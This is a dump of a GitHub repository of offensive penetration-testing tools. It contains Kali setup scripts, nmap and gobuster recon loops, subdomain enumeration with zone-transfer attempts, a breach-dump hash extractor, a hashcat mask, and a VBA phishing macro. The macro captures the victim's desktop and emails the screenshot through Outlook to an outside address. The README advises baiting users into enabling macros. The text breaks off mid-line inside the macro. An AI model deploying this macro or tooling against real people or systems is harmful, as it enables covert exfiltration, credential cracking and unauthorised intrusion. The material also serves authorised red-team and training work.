├── .gitignore ├── LICENSE ├── README.md ├── kali-setup ├── kali-macbook.sh └── setup-kali.sh ├── oscp └── oscp-scan.sh ├── osint ├── pwned_report.py └── sub-recon.sh ├── password-cracking ├── extract-hashes.py └── simple.mask ├── phishing └── screenshot-macro ├── training-scripts └── nosql-brute.py └── web-tools ├── clone-ssl.py ├── httpspy.py └── jwt_builder.py /.gitignore: -------------------------------------------------------------------------------- 1 | web-tools/clonessl-output 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 InitString 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pentest Tools 2 | A junk drawer of pentest tools - nothing special enough for its own repo. Things in here may be out of date, but if you see something you like that isn't working let me know and I will try to fix it up. 3 | 4 | Enjoy! 5 | 6 | ---------------- 7 | 8 | 9 | ## osint 10 | - **sub-recon.sh**: Leverages tools like enumall.py (recon-ng), cewl, etc to do some hardcore subdomain enumeration. Useful for a penetration test or for hunting bug bounties. 11 | - **pwned_report.py**: haveibeenpwned API tool. Smart enough to extract emails in any format from a non-clean input file. Outputs to markdown format organized by breach name. The goal is to be able to directly paste into a pentest report. 12 | 13 | ## password-cracking 14 | - **extract-hashes.py**: This is used to get a nice, clean, hashcat-usable file from a messy password breach. It takes lines from a file and outputs something like this: `some@mail.com:5d41402abc4b2a76b9719d911017c592`. Currently hard-coded for MD5. Future improvements: add more hash type regexes and provide an argument to specify the hash type you are looking for. 15 | - **simple.mask**: A hashcat mask I've been using based on common corporate passwords I run into. Probably not as good as what comes by default with hashcat, and some of the rules are intense so should be run with a timeout. 16 | 17 | ## web-tools 18 | - **httpspy.py**: Runs a local HTTP/HTTPS server and logs all incoming requests to the console. Can do cool things like prompt for basic auth, as well. Use your own cert for HTTPS. Might be useful in odd situations where Burp cannot be used for whatever reason. 19 | - **clone-ssl.py**: Generates SSL/TLS crt/key/pem file that closely mimics a target. Might be useful in mobile app or web pentesting. 20 | - **jwt-builder.py**: Builds a JWT. Might be useful when doing things like subbing a public key file for an HMAC secret. 21 | 22 | ## phishing 23 | - **screenshot-macro**: Macro to add to an XLS as a phishing payload. Captures a desktop screenshot and emails it back to the address variable you set, using the default Outlook profile. Pops a message box at the end saying "Sorry, your account is not authorised to view this data." Works well with a spreadsheet that has an obfuscated section that looks tempting enough to enable content to unlock. 24 | 25 | ## kali-setup 26 | - **setup-kali.sh**: Configuring Kali Linux after a stock installation. 27 | - **kali-macbook.sh**: Fix some small things (wifi, tilde, etc) when running natively on a Macbook. 28 | 29 | ## oscp 30 | - **oscp-scan.sh**: Reads IP addresses from a single file and looks for potential entry points. If you're building a custom OSCP script, perhaps this will give you some ideas. Not that handy in the real world, as there are way better tools available. 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /kali-setup/kali-macbook.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This will fix the wireless adaptor when running Kali natively on on a Macbook. Tested on Macbook Air 2012, but would work on 4 | # similar models as well. Run: 5 | # lspci 6 | # to identify your model and fix the script. 7 | 8 | apt update -y 9 | apt install linux-headers-$(uname -r | sed 's,[^-]*-[^-]*-,,') broadcom-sta-dkms -y 10 | modprobe -r b44 b43 b43legacy brcmsmac 11 | modprobe wl 12 | 13 | # Install a power management tool (invoked later) 14 | apt install powertop -y 15 | 16 | # Write a script to execute at boot, fixing several issues. 17 | cat >>/etc/rc.local < /sys/module/hid_apple/parameters/iso_layout # Fix the tilde / backtick key 20 | powertop --auto-tune # Improve power usage, fix problem of waking with lid closed 21 | echo 1 > /proc/brcm_monitor0 # Create a wifi interface that supports monitor mode (use prism0 for attacks) 22 | EOL 23 | 24 | chmod u+x /etc/rc.local 25 | 26 | # Call that same script on wake from sleep or hibernate 27 | cat >> /lib/systemd/system-sleep/99wake < /etc/hostname 20 | hostname $HOSTNAME 21 | sed -i "s/kali/$HOSTNAME/g" /etc/hosts 22 | else 23 | echo "OK, continuing..." 24 | fi 25 | 26 | apt update; apt upgrade -y 27 | 28 | tput setaf 1; echo "Configuring text-based address bar in file browser..."; tput sgr0 29 | gsettings set org.gnome.nautilus.preferences always-use-location-entry true 30 | 31 | tput setaf 1; echo "Setting up a /root/scripts/ directory for you..."; tput sgr0 32 | mkdir /root/scripts 33 | 34 | tput setaf 1; echo "Updating ruby..."; tput sgr0 35 | gem update --system 36 | 37 | tput setaf 1; echo "Enabling dependencies for SystemMonitor and installing it (enable in Tweaks)..."; tput sgr0 38 | apt install gnome-shell-extension-system-monitor gir1.2-networkmanager-1.0 gir1.2-gtop-2.0 -y 39 | 40 | tput setaf 1; echo "Starting github clones..."; tput sgr0 41 | cd /opt/ 42 | for repo in \ 43 | leebaird/discover `# Nice DNS/human recon tool with integrated HTML report output` \ 44 | danielmiessler/SecLists `# Wordlists for DNS, passwords, users, fuzzing, etc` \ 45 | fuzzdb-project/fuzzdb `# More wordlists!` \ 46 | jhaddix/domain `# Sub-domain enumeration tool` \ 47 | wireghoul/graudit `# greo auditing for source code review` \ 48 | pentestgeek/phishing-frenzy `# Phishing framework with nice web UI` \ 49 | tcstool/NoSQLMap `# MongoDB and CouchDB scanning and exploitation` \ 50 | DanMcInerney/net-creds `# Scans pcap files for passwords and hashes` \ 51 | samratashok/nishang `# PowerShell tools for all phases of the pentest` \ 52 | brav0hax/smbexec `# A rapid psexec style attack with samba tools` \ 53 | cheetz/Easy-P `# auto-generates commong PowerShell commands` \ 54 | codingo/VHostScan `# Discovers virtual web hosts on a server` \ 55 | nidem/kerberoast `# Set of scripts for kerberoasting` \ 56 | EmpireProject/Empire `# Consolidated PowerShell attack framework` \ 57 | drwetter/testssl.sh `# SSL test script ` \ 58 | CoreSecurity/impacket `# Python classes for working with network protocols` \ 59 | nyxgeek/lyncsmash `# Awesome username enumeration through SkypeBusiness` \ 60 | bbb31/slurp `# S3 bucket enumeration tool` \ 61 | swisskyrepo/PayloadsAllTheThings `# More intruder payloads` \ 62 | initstring/linkedin2username `# My shitty username generator` \ 63 | bugcrowd/HUNT `# Awesome methodology plugin for Burp` \ 64 | oblique/create_ap `# Easy AP tool for creating hotspots` \ 65 | ;do \ 66 | tput setaf 1; echo "Cloning $repo..."; tput sgr0; \ 67 | git clone https://github.com/$repo.git; \ 68 | done 69 | 70 | tput setaf 1; echo "Configuring the discovery scripts, which also updates the distro..."; tput sgr0 71 | cd /opt/discover && ./update.sh 72 | 73 | tput setaf 1; echo "Discover calls harvester directly - fixing permissions so it works..."; tput sgr0 74 | chmod u+x /usr/share/theharvester/theHarvester.py 75 | 76 | tput setaf 1; echo "Downloading neo4j for you, as prompted by the discovery install..."; tput sgr0 77 | cd /opt 78 | wget https://neo4j.com/artifact.php?name=neo4j-community-3.2.5-unix.tar.gz -O ./neo4j.tar.gz 79 | tar -xf ./neo4j.tar.gz 80 | rm -f ./neo4j.tar.gz 81 | 82 | tput setaf 1; echo "Configuring Veil framework..."; tput sgr0 83 | # Note: already installed in the discovery script above. If not, you can run: 84 | # git clone https://github.com/Veil-Framework/Veil.git /opt/Veil 85 | cd /opt/Veil/setup 86 | ./setup.sh -c 87 | 88 | tput setaf 1; echo "Confiuring Empire..."; tput sgr0 89 | echo "" | /opt/Empire/setup/install.sh 90 | 91 | tput setaf 1; echo "Preparing Metasploit..."; tput sgr0 92 | systemctl enable postgresql; systemctl start postgresql 93 | msfdb init 94 | echo exit | msfconsole # sets up the needed .msf4 folder 95 | echo "spool /root/msf_console.log" > /root/.msf4/msfconsole.rc # enables logging of all msf activity 96 | 97 | tput setaf 1; echo "Installing tools with easy installs..."; tput sgr0 98 | apt install wifiphisher openvas crackmapexec hostapd-wpe bettercap -y 99 | gem install aquatone 100 | ln -s /usr/bin/crackmapexec /usr/bin/cme # creating a short alias 101 | 102 | tput setaf 1; echo "Configuring impacket..."; tput sgr0 103 | cd /opt/impacket 104 | python ./setup.py install 105 | 106 | tput setaf 1; echo "Installing some messy requirements for smbexec..."; tput sgr0 107 | cd /tmp 108 | wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz 109 | tar -xzvf ./libesedb-experimental-20170121.tar.gz 110 | cd libesedb-20170121 111 | CFLAGS="-g -O2 -Wall -fgnu89-inline" ./configure --enable-static-executables 112 | make 113 | mv esedbtools /opt/esedbtools 114 | 115 | tput setaf 1; echo "Configuring smbexec..."; tput sgr0 116 | wget https://github.com/interference-security/ntds-tools/raw/master/ntdsxtract_v1_0.zip -O /tmp/ntds.zip 117 | unzip /tmp/ntds.zip -d /tmp/ 118 | mv "/tmp/NTDSXtract 1.0" /opt/NTDSXtract 119 | apt-get install automake autoconf autopoint gcc-mingw-w64-x86-64 libtool pkg-config 120 | echo 1 | /opt/smbexec/install.sh 121 | 122 | tput setaf 1; echo "Getting DSHashes script, we need it for smbexec..."; tput sgr0 123 | cd /tmp 124 | wget https://storage.googleapis.com/google-code-archive-source/v2/code.google.com/ptscripts/source-archive.zip 125 | unzip ./source-archive.zip 126 | mkdir /opt/NTDSXtract 127 | cp /tmp/ptscripts/trunk/dshashes.py /opt/NTDSXtract/ 128 | 129 | tput setaf 1; echo "Installing spiderfoot, another OSINT tool..."; tput sgr0 130 | wget http://sourceforge.net/projects/spiderfoot/files/spiderfoot-2.11.0-src.tar.gz/download -O /tmp/spider.tar.gz 131 | tar xzvf /tmp/spider.tar.gz -C /opt/ 132 | pip install lxml 133 | pip install netaddr 134 | pip install M2Crypto 135 | pip install cherrypy 136 | pip install mako 137 | rm -f /tmp/spider.tar.gz 138 | 139 | tput setaf 1; echo "Installing jython2.7 for use with Burp..."; tput sgr0 140 | cd /tmp 141 | wget https://repo1.maven.org/maven2/org/python/jython-installer/2.7.0/jython-installer-2.7.0.jar 142 | java -jar /tmp/jython-installer-2.7.0.jar -s -d /opt/jython 143 | 144 | 145 | tput setaf 1; echo "Configuring gitrob..."; tput sgr0 146 | apt install libpq-dev -y zlib1g-dev 147 | runuser -l postgres -c 'createuser -s gitrob --pwprompt' 148 | runuser -l postgres -c 'createdb -O gitrob gitrob' 149 | gem install gitrob 150 | 151 | tput setaf 1; echo "Preparing gitrob... provide the password from earlier"; tput sgr0 152 | gitrob --configure 153 | 154 | tput setaf 1; echo "All done, yay!"; tput sgr0 155 | -------------------------------------------------------------------------------- /oscp/oscp-scan.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Useful for PWK labs whil studying for OSCP 4 | 5 | # Note: this script requires a pre-existing text file 6 | # '/root/iplist.txt)' with one IP address per line to scan. 7 | # You will also need 'seclists' installed here: /root/scripts/seclists 8 | # (find it at https://github.com/danielmiessler/SecLists) 9 | 10 | # Running this script in a production environment would be a bad idea - 11 | # it is very chatty and would likely get you in trouble. Don't use this 12 | # anywhere you don't have permission! 13 | 14 | # The output is individual text files sorted in folders by target IP located 15 | # in '/root/recon/' 16 | 17 | # Usage: ./initial-scan.sh 18 | 19 | # Kick off general tasks - some in background 20 | for ip in $(cat /root/iplist.txt); do \ 21 | mkdir -p /root/recon/$ip; \ 22 | 23 | echo "Kicking off top ports nmap for $ip..."; \ 24 | nmap --top-ports 50 -sV --open -v $ip \ 25 | >> /root/recon/$ip/$ip-nmap-top.txt \ 26 | 27 | echo "Sleeping 10 seconds..."; sleep 10; \ 28 | echo "Kicking off full nmap for $ip..."; \ 29 | nmap -vv -Pn -A -sC -sS -T 4 -p- $ip \ 30 | >> /root/recon/$ip/$ip-nmap-full.txt \ 31 | 32 | echo "Sleeping 10 seconds..."; sleep 10; \ 33 | echo "Kicking off UDP nmap for $ip..."; \ 34 | nmap -sU -v $ip >> /root/recon/$ip/$ip-nmap-udp.txt \ 35 | 36 | echo "Sleeping 10 seconds..."; sleep 10; \ 37 | echo "Kicking off enum4linux for $ip... in background"; \ 38 | nohup enum4linux $ip >> /root/recon/$ip/$ip-enum4linux.txt & \ 39 | 40 | echo "Sleeping 10 seconds..."; sleep 10; \ 41 | echo "Kicking off onesixtyone for $ip..."; \ 42 | nohup onesixtyone $ip >> /root/recon/$ip/$ip-onesixtyone.txt & \ 43 | 44 | echo "Sleeping 10 seconds..."; sleep 10; \ 45 | echo "Kicking off Gobuster scripts in background for $ip..."; \ 46 | gobuster -u http://$ip \ 47 | -w /root/scripts/seclists/Discovery/Web_Content/common.txt \ 48 | -s '200,204,301,302,307,403,500' -e \ 49 | >> /root/recon/$ip/$ip-gobuster-common.txt & \ 50 | sleep 5; \ 51 | gobuster -u http://$ip \ 52 | -w /root/scripts/seclists/Discovery/Web_Content/cgis.txt \ 53 | -s '200,204,301,302,307,403,500' -e \ 54 | >> /root/recon/$ip/$ip-gobuster-cgis.txt & \ 55 | 56 | echo "Sleeping 10 seconds..."; sleep 10; \ 57 | echo "Kicking off nikto in background for $ip..."; \ 58 | nohup nikto -h $ip >> /root/recon/$ip/$ip-nikto.txt & \ 59 | 60 | echo "Sleeping 10 seconds..."; sleep 10; \ 61 | done 62 | -------------------------------------------------------------------------------- /osint/pwned_report.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | This tool queries the haveibeenpwned API to return a list of breached 5 | email addresses. 6 | There are other tools that do the same, maybe better, but I wanted something 7 | that creates an output I can paste directly into a pentest report. Also it 8 | is smart enough to extract valid email addresses anywhere in a text file, 9 | so you don't need to clean anything up first. 10 | Enjoy! 11 | github.com/initstring 12 | """ 13 | 14 | import argparse 15 | import time 16 | import re 17 | import os 18 | import sys 19 | import requests 20 | 21 | 22 | # Global variables for most-likely-to-change items: 23 | # - API bans may happen at the User-Agent level 24 | # - API endpoint may change 25 | USER_AGENT = 'pwned_reportv1' 26 | API_URL = 'https://haveibeenpwned.com/api/v3/breachedaccount' 27 | 28 | 29 | def process_args(): 30 | """Handles user-passed parameters""" 31 | parser = argparse.ArgumentParser(description='Check haveibeenpwned for' 32 | ' compromised email addresses.') 33 | 34 | parser.add_argument('-a', '--apikey', required=True, type=str, 35 | help='HIBP API key') 36 | parser.add_argument('-f', '--infile', required=True, type=str, 37 | help='Text file with email addresses, formatted' 38 | ' anyway you like.') 39 | parser.add_argument('-s', '--sleep', default=1.6, type=int, 40 | help='Seconds to sleep between each email. Default' 41 | ' is 1.6 seconds.') 42 | parser.add_argument('-o', '--outfile', default='pwned.txt', type=str, 43 | help='Log file to write output to. Default is' 44 | ' pwned.txt') 45 | 46 | args = parser.parse_args() 47 | 48 | if not os.access(args.infile, os.R_OK): 49 | print("[!] Cannot access input file, please try again.") 50 | sys.exit() 51 | 52 | return args 53 | 54 | 55 | def find_emails(infile): 56 | """ 57 | Uses a regex to extract all email address from an input file. 58 | """ 59 | # Thanks to regular-expressions.info for this regex 60 | regex = r'[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}' 61 | 62 | # Read the file into a string, extract vaid emails 63 | print("[+] Processing {}".format(infile)) 64 | with open(infile) as file_handler: 65 | raw_text = file_handler.read() 66 | emails = re.findall(regex, raw_text, re.IGNORECASE) 67 | 68 | if not emails: 69 | print("[!] No valid emails found, exiting.") 70 | sys.exit() 71 | 72 | print("[+] Found {} valid email addresses in {}" 73 | .format(len(emails), infile)) 74 | 75 | return emails 76 | 77 | 78 | def collect_results(emails, sleep_time, apikey): 79 | """ 80 | Grabs the raw, truncated, results from the API. 81 | """ 82 | # API demands a custom header, so we set it here 83 | headers = {'User-Agent': USER_AGENT,'hibp-api-key': apikey} 84 | 85 | # Initialize a dictionary for all the results 86 | results = {} 87 | 88 | # Start a counter for failed responses 89 | failed_count = 0 90 | 91 | # Start a counter for the status bar 92 | total_count = 1 93 | 94 | # Initiate a session to maintain cloudflare cookies, hopefully to 95 | # avoid rate limiting 96 | sess = requests.session() 97 | 98 | for address in emails: 99 | # 'truncated' URL param required for proper parsing 100 | url = API_URL + '/{}?truncateResponse=true'.format(address) 101 | 102 | # Quick and dirty status counter 103 | sys.stdout.write('\r') 104 | sys.stdout.write("[+] Checking {} out of {}" 105 | .format(total_count, len(emails))) 106 | 107 | # Get the results 108 | res = sess.get(url, headers=headers) 109 | 110 | # Update status bar with HTTP resonse code 111 | sys.stdout.write(" | HTTP Status: {}" 112 | .format(res.status_code)) 113 | 114 | # We expect a 200 or 404 - otherwise, might be rate limited 115 | if res.status_code != 200 and res.status_code != 404: 116 | failed_count += 1 117 | if failed_count >= 3: 118 | print("") 119 | print("[!] Possible rate limiting encountered.") 120 | sys.exit() 121 | 122 | # A response with text means breaches found. Add to dictionary. 123 | if res.text: 124 | results[address] = res.text 125 | 126 | # Increment the counter and flush stdout 127 | total_count += 1 128 | sys.stdout.flush() 129 | 130 | # Sleep to avoid rate limiting 131 | time.sleep(sleep_time) 132 | 133 | print("") # Need a new line after using sys.stdout to display counter 134 | print("[+] Found {} accounts with breach data".format(len(results))) 135 | return results 136 | 137 | 138 | def format_results(results): 139 | """ 140 | Outputs the breach data via markdown, ready to paste into a report. 141 | """ 142 | # Initialize a new dictionary of known breach names 143 | known_breaches = {} 144 | 145 | # Breaches are returned in JSON-like format 146 | regex = '"Name":"(.*?)"' 147 | 148 | # Loop through our results, building the new dictionary ordered 149 | # by breach name instead of account name 150 | for address in results: 151 | breaches = re.findall(regex, results[address], re.IGNORECASE) 152 | for breach in breaches: 153 | if breach in known_breaches: 154 | known_breaches[breach].append(address) 155 | else: 156 | known_breaches[breach] = [address,] 157 | 158 | return known_breaches 159 | 160 | 161 | def deliver_results(results, outfile): 162 | """ 163 | Write final results to log file. 164 | """ 165 | print("[+] Writing results to {}".format(outfile)) 166 | with open(outfile, 'w') as file_handler: 167 | for breach in results: 168 | file_handler.write('**{}**\n'.format(breach)) 169 | for email in results[breach]: 170 | file_handler.write('* {}\n'.format(email)) 171 | file_handler.write('\n') 172 | 173 | print("[+] All done, enjoy!") 174 | 175 | 176 | def main(): 177 | """ 178 | Main program function. 179 | """ 180 | args = process_args() 181 | emails = find_emails(args.infile) 182 | raw_results = collect_results(emails, args.sleep, args.apikey) 183 | final_results = format_results(raw_results) 184 | deliver_results(final_results, args.outfile) 185 | 186 | 187 | if __name__ == '__main__': 188 | main() 189 | -------------------------------------------------------------------------------- /osint/sub-recon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This script uses well-known subdomain enumeration tools. 4 | # Wordlist is created on the fly by combining a good list with additional words from target's website. 5 | # Output is formatted in a way I prefer. 6 | 7 | ######## PLEASE SET UP VARIABLES HERE ######## 8 | OUTDIR=~/osint # We will create subfolders for each domain here 9 | WORDLIST=/opt/SecLists/Discovery/DNS/sortedcombied-knock-dnsrecon-fierce-reconng.txt # Big wordlist to combine with custom one 10 | EADIR=/opt/domain # https://github.com/jhaddix/domain 11 | ######## YAY, ALL DONE WITH VARIABLES ######## 12 | 13 | read -p 'Enter TLD for subdomain enumeration (example: uber.com): ' RECON_DOMAIN 14 | read -p 'Enter full URL to scrape a wordlist from (example: https://uber.com/au) ' RECON_URL 15 | 16 | # set up the directory structure 17 | mkdir -p $OUTDIR/$RECON_DOMAIN/dns-recon 18 | 19 | # change into dir - as output files from enumall go to local dir 20 | cd $OUTDIR/$RECON_DOMAIN/dns-recon 21 | 22 | # create a custom wordlist combining a scrape of the full URL plus a nice hefty SecLists file 23 | cewl -v --depth 1 -m 4 $RECON_URL \ 24 | -w $OUTDIR/$RECON_DOMAIN/cewl-wordlist.txt 25 | cat $WORDLIST $OUTDIR/$RECON_DOMAIN/cewl-wordlist.txt > /tmp/$RECON_DOMAIN-wordlist.txt 26 | 27 | # run the consolidated recon 28 | python $EADIR/enumall.py $RECON_DOMAIN -w /tmp/$RECON_DOMAIN-wordlist.txt 29 | 30 | # try a DNS zone transfer 31 | for i in $(host -t ns $RECON_DOMAIN | cut -d " " -f 4); \ 32 | do host -l $RECON_DOMAIN $i \ 33 | >> $OUTDIR/$RECON_DOMAIN/dns-recon/zone-transfer.txt; \ 34 | done 35 | 36 | # convert everything to lowercase 37 | cat $RECON_DOMAIN.csv | tr '[:upper:]' '[:lower:]' \ 38 | > $OUTDIR/$RECON_DOMAIN/dns-recon/$RECON_DOMAIN-lowercase.csv 39 | 40 | # remove out of scope domains 41 | cat $RECON_DOMAIN-lowercase.csv | grep $RECON_DOMAIN \ 42 | > $OUTDIR/$RECON_DOMAIN/dns-recon/$RECON_DOMAIN-scope.csv 43 | 44 | # make a list of all unique hostnames 45 | cat $RECON_DOMAIN-scope.csv | cut -d '"' -f 2 | sort | uniq -i | grep $RECON_DOMAIN \ 46 | > $OUTDIR/$RECON_DOMAIN/dns-recon/hostnames.txt 47 | 48 | # make a list of all unique IP addresses 49 | cat $RECON_DOMAIN-scope.csv | cut -d '"' -f 4 | grep . | sort | uniq -i \ 50 | > $OUTDIR/$RECON_DOMAIN/dns-recon/ip-list.txt 51 | 52 | # make a list of IP addresses with DNS count 53 | cat $RECON_DOMAIN-scope.csv | cut -d '"' -f 4 | grep . | sort | uniq -i -c \ 54 | | cut -d ' ' -f 7- \ 55 | > $OUTDIR/$RECON_DOMAIN/dns-recon/ip-count.txt 56 | -------------------------------------------------------------------------------- /password-cracking/extract-hashes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os, argparse, sys, time, re 3 | from datetime import timedelta 4 | try: 5 | import tqdm 6 | except: 7 | print("Please install tqdm 'pip3 install tqdm' for an awesome progress bar.") 8 | sys.exit() 9 | 10 | ############################# Global Variable Declarations ############################# 11 | 12 | GREEN = '\033[92m' 13 | BLUE = '\033[94m' 14 | RED = '\033[91m' 15 | ENDC = '\033[0m' 16 | okBox = BLUE + '[*] ' + ENDC 17 | noteBox = GREEN + '[+] ' + ENDC 18 | failBox = RED + '[!] ' + ENDC 19 | 20 | emailRegex = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' 21 | md5Regex = r'[^a-z^A-Z^0-9]([a-f0-9]{32}|[A-F0-9]{32})[^a-z^A-Z^0-9]' 22 | 23 | parser = argparse.ArgumentParser() 24 | parser.add_argument('inFile', type=str, help='Raw dump file.', action='store') 25 | parser.add_argument('outFile', type=str, help='Cleaned output file', action='store') 26 | args = parser.parse_args() 27 | inFile = args.inFile 28 | outFile = args.outFile 29 | 30 | ############################# End Global Variable Declarations ############################# 31 | 32 | """ 33 | If you are customizing this script for a particular password dump, probably all you need to do is: 34 | 1. In the 'Global Variable Declarations' above, define a regex for the hash type you have in the file. 35 | 2. Modify the 'customClean' function below to meet your needs. 36 | """ 37 | 38 | def customClean(line): 39 | """ 40 | This is the custom function for a particular password dump. 41 | It could probably be used as is for other similar dumps, or modified as needed. 42 | It will look for lines that have an email address and something that looks like an MD5 hash. Th regex below grabs the FIRST thing 43 | that looks like an email and the LAST thing that looks like a hash on each line. It then sends a write to the outFile like this: 44 | someone@mail.com:33c5d4954da881814420f3ba39772644 45 | """ 46 | try: 47 | email = re.findall(emailRegex, line)[0] 48 | md5Hash = re.findall(md5Regex, line)[-1] 49 | cleanLine = email + ":" + md5Hash + "\n" 50 | return cleanLine 51 | except: 52 | return False 53 | 54 | def getLines(fN): 55 | """ 56 | This function runs before any transformation. 57 | It is used to count the lines in the source file so that an accurate progress bar can be displayed. 58 | """ 59 | try: 60 | fileSize = str((os.path.getsize(fN)/1000000)) 61 | print(okBox + "Counting lines in {}: {}MB".format(fN, fileSize)) 62 | lines = os.popen('wc -l ' + fN).read().split()[0] 63 | print(okBox + " ....Found {} lines.\n\n".format(lines)) 64 | return int(lines) 65 | except Exception: 66 | print(failBox + "Could not open {}.".format(fN)) 67 | sys.exit() 68 | 69 | def processFile(inFile, outFile): 70 | """ 71 | This is the core function to read lines in from the file and display a progress. 72 | This function should pass each individual line to the custom function for the particular type of password dump you are processing. 73 | No actual transformation happens inside this function itself. 74 | """ 75 | totalLines = getLines(inFile) 76 | newLines = 0 77 | with tqdm.tqdm(total=totalLines, unit=' lines', desc='Progress', dynamic_ncols='True') as pbar: 78 | with open(inFile, errors='ignore') as pF: 79 | for line in pF: 80 | cleanLine = customClean(line) 81 | if cleanLine: 82 | outFile.write(cleanLine) 83 | newLines += 1 84 | pbar.update(1) 85 | pF.close() 86 | return newLines 87 | 88 | 89 | def main(): 90 | start = time.time() 91 | print("Reading from " + inFile + ": " + str((int(os.path.getsize(inFile)/1000000))) + " MB") 92 | with open(outFile, 'a') as oF: 93 | newLines = processFile(inFile, oF) 94 | oF.close() 95 | elapsed = (time.time() - start) 96 | elapsedTime = str(timedelta(seconds=elapsed)) 97 | print("\n\n" + noteBox + "All done! Wrote {} lines to {}. Elapsed time: {}.".format(newLines, outFile, elapsedTime)) 98 | 99 | if __name__ == "__main__": 100 | main() 101 | 102 | -------------------------------------------------------------------------------- /password-cracking/simple.mask: -------------------------------------------------------------------------------- 1 | ?d?d?d?d?d?d?d?d 2 | ?d?d?d?d?d?d?d?d?d 3 | ?d?d?d?d?d?d?d?d?d?d 4 | 5 | ?u?l?d,?1?1?1?1 6 | ?u?l?d,?1?1?1?1?1 7 | ?u?l?d,?1?1?1?1?1?1 8 | 9 | ?u?l?d,!??,?1?1?1?1?2 10 | ?u?l?d,!??,?1?1?1?1?1?2 11 | ?u?l?d,!??,?1?1?1?1?1?1?2 12 | 13 | ?l?d,?u?1?1?1?1?1?1 14 | ?l?d,?u?1?1?1?1?1?1?1 15 | 16 | ?l?d,!??,?u?1?1?1?1?1?1?2 17 | ?l?d,!??,?u?1?1?1?1?1?1?1?2 18 | 19 | ?u?l?l?l?l?l?l?d?d 20 | 21 | !??,?u?l?l?l?l?l?l?d?d?1 22 | 23 | ?u?l?l?l?l?l?l 24 | ?u?l?l?l?l?l?l?l 25 | 26 | ?l?d,?u?l?l?l?l?l?l?1 27 | ?l?d,?u?l?l?l?l?l?l?l?1 28 | 29 | ?u?l?l?l?l?l?d?d?d 30 | ?u?l?l?l?l?l?l?d?d?d 31 | 32 | !??,?u?l?l?l?l?l?d?d?d?1 33 | !??,?u?l?l?l?l?l?l?d?d?d?1 34 | 35 | ?u?l?l?l?l?d?d?d?d 36 | ?u?l?l?l?l?l?d?d?d?d 37 | ?u?l?l?l?l?l?l?d?d?d?d 38 | 39 | !??,?u?l?l?l?l?d?d?d?d?1 40 | !??,?u?l?l?l?l?l?d?d?d?d?1 41 | !??,?u?l?l?l?l?l?l?d?d?d?d?1 42 | 43 | ?u?l?l?l?l?l?l?l?d 44 | ?u?l?l?l?l?l?l?l?d?d 45 | ?u?l?l?l?l?l?l?l?d?d?d 46 | ?u?l?l?l?l?l?l?l?d?d?d?d 47 | 48 | !??,?u?l?l?l?l?l?l?l?d?1 49 | !??,?u?l?l?l?l?l?l?l?d?d?1 50 | !??,?u?l?l?l?l?l?l?l?d?d?d?1 51 | !??,?u?l?l?l?l?l?l?l?d?d?d?d?1 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /phishing/screenshot-macro: -------------------------------------------------------------------------------- 1 | 'This document is part of an authorised, simulated phishing campaign. 2 | 'If you are reading this - nice work! 3 | 4 | Option Explicit 5 | 6 | 7 | Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal _ 8 | bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) 9 | 10 | Private Const VK_SNAPSHOT = &H2C 11 | Private Const EMAIL_TO = "phisher@phishingdomain.com" 12 | Private Const EMAIL_SUBJ = "XLS pingback!" 13 | 14 | Sub PrintScreen() 15 | Application.Wait (Now + TimeValue("0:00:01")) 16 | keybd_event VK_SNAPSHOT, 0, 0, 0 17 | Application.Wait (Now + TimeValue("0:00:01")) 18 | End Sub 19 | 20 | Sub ExportFile() 21 | Sheets.Add After:=ActiveSheet 22 | ActiveSheet.PasteSpecial Format:="Bitmap", Link:=False, DisplayAsIcon:= _ 23 | False 24 | ActiveWorkbook.SaveAs Filename:= _ 25 | "c:\users\public\export.xlsx", _ 26 | FileFormat:=xlOpenXMLWorkbook, CreateBackup:=False 27 | ActiveWindow.SelectedSheets.Delete 28 | End Sub 29 | 30 | Sub Send_Email_Using_VBA() 31 | Dim Email_Subject, Email_Send_From, Email_Send_To, _ 32 | Email_Cc, Email_Bcc, Email_Body As String 33 | Dim Mail_Object, Mail_Single As Variant 34 | Email_Subject = EMAIL_SUBJ 35 | Email_Send_To = EMAIL_TO 36 | Email_Body = "Files are attached" 37 | Set Mail_Object = CreateObject("Outlook.Application") 38 | Set Mail_Single = Mail_Object.CreateItem(0) 39 | With Mail_Single 40 | .Subject = Email_Subject 41 | .To = Email_Send_To 42 | .Body = Email_Body 43 | .Attachments.Add 